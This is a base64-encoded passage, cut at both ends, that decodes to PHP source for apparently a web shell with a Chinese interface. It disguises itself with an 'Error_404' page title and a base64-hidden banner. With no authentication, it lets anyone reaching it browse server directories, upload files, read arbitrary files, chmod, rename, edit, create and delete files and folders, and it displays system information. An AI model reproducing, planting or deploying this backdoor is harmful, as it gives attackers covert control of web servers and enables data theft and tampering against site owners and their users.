Vsc2Ugey8vIFVua25vd24KICAgICAgICAgICAgJGluZm8gPSAndSc7CiAgICAgICAgfQovLyBPd25lcgogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwODApID8gJ3cnIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPwogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcgKSA6CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwoKLy8gR3JvdXAKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOgogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCi8vIFdvcmxkCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/CiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoKICAgICAgICAgICAgKCgkcGVybXMgJiAweDAyMDApID8gJ1QnIDogJy0nKSk7CgogICAgICAgIHJldHVybiAkaW5mbzsKICAgIH0KCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgLyoqCiAgICAgKiDovazljJYgXCDkuLogLwogICAgICovCiAgICBmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkKICAgIHsKICAgICAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwogICAgICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7CiAgICAgICAgcmV0dXJuICRwYXRoOwogICAgfQoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgogICAgLyoqIOWPluW+l+ermeeCueagueebruW9lQogICAgICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10KICAgICAqLwogICAgZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpewoKICAgICAgICAkcGhwX3NlbGYgPSBkaXJfcGF0aCgkX1NFUlZFUlsiUEhQX1NFTEYiXSk7CiAgICAgICAgJHNjcmlwdF9maWxlbmFtZSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7CiAgICAgICAgaWYgKGVtcHR5KCRfU0VSVkVSWyJQSFBfU0VMRiJdKSBvciBlbXB0eSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pKXsKICAgICAgICAgICAgJGRvMSA9IGRpcl9wYXRoKCRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0pOwogICAgICAgICAgICAkZG8gPSBydHJpbSgkZG8xLCcvJyk7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRkbyA9IHN0cl9yZXBsYWNlKHN0cl9yZXBsYWNlKCIvLyIsICIvIiwgJHBocF9zZWxmKSwgIiIsIHN0cl9yZXBsYWNlKCJcXFxcIiwgIi8iLCAkc2NyaXB0X2ZpbGVuYW1lKSk7CiAgICAgICAgfQoJCWlmKGVtcHR5KCRkbykpICRkbyA9ICcvJzsKICAgICAgICByZXR1cm4gJGRvOwogICAgfQogICAgJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7CiAgICBkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7CgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCgoKICAgICRwaHBfdmVyc2lvbiA9IFBIUF9NQUpPUl9WRVJTSU9OOwoJaWYoJHBocF92ZXJzaW9uPD03KXsKCQlpZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsKCQkJZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsKCQkJCSRfUE9TVFska2V5XSA9IHN0cmlwc2xhc2hlcygkdmFsdWUpOwoJCQl9CgkJfQoJfQoKICAgICRWZXJzaW9uID0gYmFzZTY0X2RlY29kZSgnNXB5QTVaQ081NXFFNVlDVTVieTYnKTsKICAgIGlmKGlzc2V0KCRfR0VUWydwYXRoJ10pKXsKICAgICAgICAkcGF0aCA9ICRfR0VUWydwYXRoJ107CiAgICB9ZWxzZXsKICAgICAgICAkcGF0aCA9IGdldGN3ZCgpOwogICAgfQoKCiAgICBlY2hvICc8IWRvY3R5cGUgaHRtbD4KPGh0bWw+CjxoZWFkPgo8dGl0bGU+JkVycm9yXzQwNCY8L3RpdGxlPgo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCIvPgo8L2hlYWQ+JzsKICAgID8+CgogICAgPGNlbnRlcj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHl7YmFja2dyb3VuZDojZTZlNmU2O2xpbmUtaGVpZ2h0OjE7Y29sb3I6IzAwMDtmb250LWZhbWlseTpDb21pYyBTYW5zIE1TO3dpZHRoOjYwJTttYXJnaW46MCBhdXRvO30KICAgICAgICAgICAgdGFibGUsdGgsdGR7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Zm9udC1zaXplOjEzcHg7fQogICAgICAgICAgICBpbnB1dCx0ZXh0YXJlYXt9CiAgICAgICAgICAgIC50YWJsZV9ob21lLC50aF9ob21lLC50ZF9ob21le2NvbG9yOmdyZXk7Ym9yZGVyOjFweCBzb2xpZCBncmV5O30KICAgICAgICAgICAgdGh7cGFkZGluZzoxMHB4O30KICAgICAgICAgICAgLnRkX2hvbWV7cGFkZGluZzo3cHg7fQogICAgICAgICAgICBhe2NvbG9yOiMwMDA7IHRleHQtZGVjb3JhdGlvbjpub25lO30KICAgICAgICAgICAgdGV4dGFyZWF7d2lkdGg6MTAwJTtoZWlnaHQ6NDAwcHg7fQogICAgICAgICAgICAjY29udGVudCB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiNjZWNlY2U7dGV4dC1zaGFkb3c6MHB4IDBweCAxMHB4ICNmZmY7Y29sb3I6I2ZmZjt9CiAgICAgICAgICAgIC5kaCBheyBwYWRkaW5nLWxlZnQ6IDEwcHg7IHBhZGRpbmctcmlnaHQ6IDEwcHg7IGJvcmRlci1yaWdodDogMXB4IHNvbGlkICMwMDA7fQogICAgICAgICAgICAuZGggYTpob3ZlcnsgY29sb3I6ICNmMDA7fQogICAgICAgIDwvc3R5bGU+CiAgICA8P3BocAogICAgZWNobyAnPC9oZWFkPgo8Ym9keT48Yj4KPEgxPjxjZW50ZXI+PGZvbnQgY29sb3I9InJlZCI+Jy4kVmVyc2lvbi4nPC9mb250PjwvY2VudGVyPjwvaDE+Cjx0YWJsZSB3aWR0aD0iNzAwIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMSIgYWxpZ249ImNlbnRlciI+Cgo8dHI+PHRkPgoKPGZvbnQgPjxjZW50ZXI+Jy5waHBfdW5hbWUoKS4nPC9jZW50ZXI+PC9mb250Pjxicj4nOwogICAgaWYoaXNzZXQoJF9HRVRbJ3BhdGgnXSkpewogICAgICAgICRwYXRoID0gJF9HRVRbJ3BhdGgnXTsKICAgIH1lbHNlewogICAgICAgICRwYXRoID0gZ2V0Y3dkKCk7CiAgICB9CiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsJy8nLCRwYXRoKTsKICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCRwYXRoKTsKCiAgICAkZ2VuX2xpbmtfdXJsID0gJzxhIHN0eWxlPSJjb2xvcjojMDA2NkZGIiBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuRE9DVU1FTlRfUk9PVDsKICAgICRnZW5fbGlua191cmwgLj0gJyI+5qC555uu5b2VIO+8miAgICA8L2E+Jm5ic3A7JzsKICAgIGVjaG8gJGdlbl9saW5rX3VybDsKCiAgICBmb3JlYWNoKCRwYXRocyBhcyAkaWQ9PiRwYXQpewogICAgICAgIGlmKCRwYXQgPT0gJycgJiYgJGlkID09IDApewogICAgICAgICAgICAkYSA9IHRydWU7CiAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSMwMDA+CjxhIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9LyI+LzwvYT4nOwogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgaWYoJHBhdCA9PSAnJykgY29udGludWU7CiAgICAgICAgZWNobyAnPGEgc3R5bGU9ImNvbG9yOiMwMDY2RkYiIGhyZWY9Ij9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9JzsKICAgICAgICBmb3IoJGk9MDskaTw9JGlkOyRpKyspewogICAgICAgICAgICBlY2hvICIkcGF0aHNbJGldIjsKICAgICAgICAgICAgaWYoJGkgIT0gJGlkKSBlY2hvICIvIjsKICAgICAgICB9CiAgICAgICAgZWNobyAnIj4nLiRwYXQuJzwvYT4vJzsKICAgIH0KICAgIGVjaG8gJzwvZm9udD4KPGJyPjxicj4KPC90ZD48L3RyPjx0cj48dGQ+PGNlbnRlcj4nOwoKICAgIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewogICAgICAgIGlmKGNvcHkoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCRwYXRoLicvJy4kX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuS4iuS8oOaIkOWKnyA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgIH1lbHNlewogICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7kuIrkvKDlpLHotKUgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgfQogICAgfQogICAgZWNobyAnPC9jZW50ZXI+PGNlbnRlcj48Zm9ybSBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiPjxmb250IGNvbG9yPSJ3aGl0ZSI+PGlucHV0IHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2ZvbnQtZmFtaWx5OiBDb21pYyBTYW5zIE1TICIgdHlwZT0iZmlsZSIgbmFtZT0iZmlsZSIgLz4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IuS4iuS8oCIgLz4KPC9mb3JtPjwvY2VudGVyPgo8L3RkPjwvdHI+JzsKICAgIGlmKGlzc2V0KCRfR0VUWydmaWxlc3JjJ10pKXsKICAgICAgICBlY2hvICI8dHI+PHRkPjxjZW50ZXI+5b2T5YmN5paH5Lu2IDogIjsKICAgICAgICBlY2hvICRfR0VUWydmaWxlc3JjJ107CiAgICAgICAgZWNobyAnPC9jZW50ZXI+PC90cj48L3RkPjwvdGFibGU+PGJyIC8+JzsKICAgICAgICBlY2hvKCcgPHRleHRhcmVhIHN0eWxlPSJ3aWR0aDogMTAwJTtoZWlnaHQ6IDQwMHB4OyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+Jyk7CiAgICB9Ci8vRW1wZXR5CiAgICBlbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX0dFVFsnb3B0J10gIT0gJ2RlbGV0ZScpewovLyBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+Jy4kX1BPU1RbJ3BhdGgnXS4nPGJyIC8+PGJyIC8+JzsKICAgICAgICBlY2hvICc8L3RhYmxlPjxiciAvPjxjZW50ZXI+JzsKLy9DaG1vZAogICAgICAgIGlmKCRfR0VUWydvcHQnXSA9PSAnY2htb2QnKXsKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydwZXJtJ10pKXsKICAgICAgICAgICAgICAgICRuZXdfcGVybV9vID0gJF9QT1NUWydwZXJtJ107CgogICAgICAgICAgICAgICAgaWYoc3RybGVuKCRuZXdfcGVybV9vKTw9MykgJG5ld19wZXJtX289c3RyX3BhZCgkbmV3X3Blcm1fbywzLCc2JyxTVFJfUEFEX0xFRlQpOwogICAgICAgICAgICAgICAgJG5ld19wZXJtX289aW50dmFsKHN0cl9wYWQoJG5ld19wZXJtX28sNCwnMCcsU1RSX1BBRF9MRUZUKSw4KTsKCiAgICAgICAgICAgICAgICBpZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkbmV3X3Blcm1fbykpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+5pu05pS55p2D6ZmQ5oiQ5Yqf77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5pu05pS55p2D6ZmQ6ZSZ6K+v77yBIDwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICR5ZWFoID0gJF9HRVRbJ25hbWUnXTsKICAgICAgICAgICAgJHBhdGMgPSAiJGhlbGwvJHllYWgiOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj48YnI+CuW9k+WJjeaWh+S7tiA6ICcuJHBhdGMuJzxicj48YnI+5p2D6ZmQLS0tLScuc3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRwYXRjKSwxMCw4KSwtNCkuJzxicj48YnI+Cuiuvue9ruaWsOadg+mZkCA6IDxpbnB1dCBuYW1lPSJwZXJtIiB0eXBlPSJ0ZXh0IiBzaXplPSI0IiB2YWx1ZT0iJy5zdWJzdHIoc3ByaW50ZignJW8nLCBmaWxlcGVybXMoJHBhdGMpKSwgLTQpLiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJjaG1vZCI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4KPGJyPgo8YSBocmVmPSI/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJyIgc3R5bGU9ImRpc3BsYXk6YmxvY2s7IHdpZHRoOjEwMCU7IiB0aXRsZT0i5Y+N5ZueIj7lj43lm548L2E+Cic7CgogICAgICAgIH0KLy8KICAgICAgICBlbHNlaWYoJF9HRVRbJ29wdCddID09ICdidHcnKXsKICAgICAgICAgICAgJGN3ZCA9ICRfR0VUWydwYXRoJ107CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBhY3Rpb249Ij9BUlJBWT0nLiRBUlJBWS4nJm9wdGlvbiZwYXRoPScuJGN3ZC4nJm9wdD1kZWxldGUmdHlwZT1idWF0IiBtZXRob2Q9IlBPU1QiPgrmlrDnm67lvZXlkI0gOiA8aW5wdXQgbmFtZT0ibmFtZSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSJGb2xkZXIiIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRjd2QuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImRlbGV0ZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIC8+CjwvZm9ybT4nOwogICAgICAgIH0KLy9SZW5hbWUgZmlsZQogICAgICAgIGVsc2VpZigkX0dFVFsnb3B0J10gPT0gJ3JlbmFtZScpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiI+6YeN5ZG95ZCN5oiQ5YqfISA6KTwvZm9udD48YnIgLz48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+6YeN5ZG95ZCN5aSx6LSlISA6KCA8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRfUE9TVFsnbmFtZSddID0gJF9QT1NUWyduZXduYW1lJ107CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9ICRfUE9TVFsnbmV3bmFtZSddOwoKICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4K5paw5ZCN56ewIDogPGlucHV0IG5hbWU9Im5ld25hbWUiIHR5cGU9InRleHQiIHNpemU9IjIwIiB2YWx1ZT0iJy4kbmV3LiciIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRjLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgo8aW5wdXQgdHlwZT0ic3VibWl0IiAvPjxicj48YnI+CjxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSLlj43lm54iIG9uQ2xpY2s9ImphdmFzY3JpcHQ6bG9jYXRpb24uaHJlZj1cJz9BUlJBWT0nLiRBUlJBWS4nJnBhdGg9Jy4kaGVsbC4nXCciPgo8L2Zvcm0+JzsKICAgICAgICB9Ci8vRmlsZSBiYXJ1CiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnYmFydScpewoKICAgICAgICAgICAgJGhlbGwgPSAkX0dFVFsncGF0aCddOwogICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICRwYXRjID0gIiRoZWxsLyR5ZWFoIjsKICAgICAgICAgICAgJG5ldyA9IGVtcHR5KCRfUE9TVFsnbmV3bmFtZSddKT8kX1BPU1RbJ25nYXJhbjEnXTokX1BPU1RbJ25ld25hbWUnXTsKICAgICAgICAgICAgJGF6eiA9ICRfUE9TVFsncGF0aCddOwogICAgICAgICAgICAkbmV3eiA9ICRhenouIi8iLiRuZXc7CiAgICAgICAgICAgICRuZXdfZmllbCA9ICRoZWxsLicvJy4kX1BPU1RbJ25nYXJhbjEnXTsKICAgICAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsnbmdhcmFuMSddKSkgZWNobyAi5q2j5Zyo5paw5bu65paH5Lu277yaeyRuZXdfZmllbH08YnI+PGJyPiI7CiAgICAgICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICRmcCA9IGZvcGVuKCRfUE9TVFsncGF0aCddLCd3Jyk7CiAgICAgICAgICAgICAgICBpZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuaWsOW7uuaWh+S7tuaIkOWKnyBbICcuJGF6ei4nIF08L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWsOW7uuaWh+S7tuWksei0pSA+Oig8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CgogICAgICAgICAgICBlY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPiDmlrDmlofku7blkI0gOiA8aW5wdXQgbmFtZT0ibmdhcmFuMSIgdHlwZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRuZXcuJyIgLz48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJuZ2FyYW4iIC8+PC9mb3JtPjxicj4gJzsKCiAgICAgICAgICAgICRobyA9ICRfUE9TVFsnbmdhcmFuMSddOwoKICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWyduZ2FyYW4nXSkpewogICAgICAgICAgICAgICAgZWNobyAnPGZvcm0gbWV0aG9kPSJQT1NUIj4KPHRleHRhcmVhIGNvbHM9ODAgcm93cz0yMCBuYW1lPSJzcmMiPicuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkcGF0YykpLic8L3RleHRhcmVhPjxiciAvPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iJy4kaGVsbC4nLycuJGhvLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+CjwvZm9ybT4nOwogICAgICAgICAgICB9CiAgICAgICAgfQovL0VkaXRlZCBmaWxlCiAgICAgICAgZWxzZWlmKCRfR0VUWydvcHQnXSA9PSAnZWRpdCcpewogICAgICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAkZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwogICAgICAgICAgICAgICAgaWYoZndyaXRlKCRmcCwkX1BPU1RbJ3NyYyddKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7nvJbovpHmiJDlip/vvIEgPC9mb250PjxiciAvPjxiciAvPic7CiAgICAgICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj7nvJbovpHlpLHotKXvvIE8L2ZvbnQ+PGJyIC8+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CiAgICAgICAgICAgIGVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjAgbmFtZT0ic3JjIj4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJHBhdGMpKS4nPC90ZXh0YXJlYT48YnIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGMuJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQiPjxicj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgIC8+Cjxicj4KPGJyPgo8aW5wdXQgdHlwZT0iYnV0dG9uIiB2YWx1ZT0i5Y+N5ZueIiBvbkNsaWNrPSJqYXZhc2NyaXB0OmxvY2F0aW9uLmhyZWY9XCc/QVJSQVk9Jy4kQVJSQVkuJyZwYXRoPScuJGhlbGwuJ1wnIj4KCjwvZm9ybT4nOwogICAgICAgIH0KICAgICAgICBlY2hvICc8L2NlbnRlcj4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPC90YWJsZT48YnIgLz48Y2VudGVyPic7Ci8vRGVsZXRlIGRpciBhbmQgZmlsZQogICAgICAgIGlmKGlzc2V0KCRfR0VUWydvcHRpb24nXSkgJiYgJF9HRVRbJ29wdCddID09ICdkZWxldGUnKXsKCiAgICAgICAgICAgICRoZWxsID0gJF9HRVRbJ3BhdGgnXTsKICAgICAgICAgICAgJHllYWggPSAkX0dFVFsnbmFtZSddOwogICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgovL0RlbGV0ZSBkaXIKICAgICAgICAgICAgaWYoJF9HRVRbJ3R5cGUnXSA9PSAnZGlyJyl7CgogICAgICAgICAgICAgICAgaWYocm1kaXIoJHBhdGMpKXsKICAgICAgICAgICAgICAgICAgICBlY2hvICc8Zm9udCBjb2xvcj0iZ3JlZW4iPuWIoOmZpOaIkOWKn++8gTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCMiPuWIoOmZpOWksei0pSE+Oig8L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQovL2J1YXQgZm9sZGVyCiAgICAgICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gJ2J1YXQnKXsKICAgICAgICAgICAgICAgICRoYWFhID0gJF9QT1NUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkaGVlZSA9ICRfUE9TVFsnbmFtZSddOwogICAgICAgICAgICAgICAgJGhvb28gPSAiJGhhYWEvJGhlZWUiOwogICAgICAgICAgICAgICAgJG5ldyA9ICRoYWFhLicvJy5odG1sc3BlY2lhbGNoYXJzKCRoZWVlKTsKICAgICAgICAgICAgICAgIGlmKCFta2RpcigkbmV3KSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+5paw5bu655uu5b2V5aSx6LSlITwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlrDlu7rnm67lvZXmiJDlip8hID46KTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9Ci8vRGVsZXRlIGZpbGUKICAgICAgICAgICAgZWxzZWlmKCRfR0VUWyd0eXBlJ10gPT0gJ2ZpbGUnKXsKCiAgICAgICAgICAgICAgICAkaGVsbCA9ICRfR0VUWydwYXRoJ107CiAgICAgICAgICAgICAgICAkeWVhaCA9ICRfR0VUWyduYW1lJ107CiAgICAgICAgICAgICAgICAkcGF0YyA9ICIkaGVsbC8keWVhaCI7CgogICAgICAgICAgICAgICAgaWYodW5saW5rKCRwYXRjKSl7CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj7mlofku7bliKDpmaTmiJDlip88L2ZvbnQ+PGJyIC8+JzsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiPuaWh+S7tuWIoOmZpOWksei0pTwvZm9udD48YnIgLz4nOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGVjaG8gJzwvY2VudGVyPic7CiAgICAgICAgJHNjYW5kaXIgPSBzY2FuZGlyKCRwYXRoKTsKICAgICAgICAkcGEgPSBnZXRjd2QoKTsKICAgICAgICBlY2hvICcgPGRpdiBpZD0iY29udGVudCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBjbGFzcz0idGFibGVfaG9tZSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjEiIGFsaWduPSJjZW50ZXIiPgogCjx0cj4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiPjxjZW50ZXI+5ZCN56ewPC9jZW50ZXI+PC90aD4KPHRoIGNsYXNzPXRoX2hvbWUgc3R5bGU9ImJhY2tncm91bmQ6YmxhY2s7Y29sb3I6I2ZmZjsiID48Y2VudGVyPuWkp+WwjzwvY2VudGVyPjwvdGg+Cjx0aCBjbGFzcz10aF9ob21lIHN0eWxlPSJiYWNrZ3JvdW5kOmJsYWNrO2NvbG9yOiNmZmY7IiA+PGNlbnRlcj7mnYPpmZA8L2NlbnRlcj48L3RoPgo8dGggY2xhc3M9dGhfaG9tZSBzdHlsZT0iYmFja2dyb3VuZDpibGFjaztjb2xvcjojZmZmOyIgPjxjZW50ZXI+5pON5L2c6YCJ6aG5PC9jZW50ZXI+PC90aD4KPC90cj4KCgogPHRyPgo8dGQgY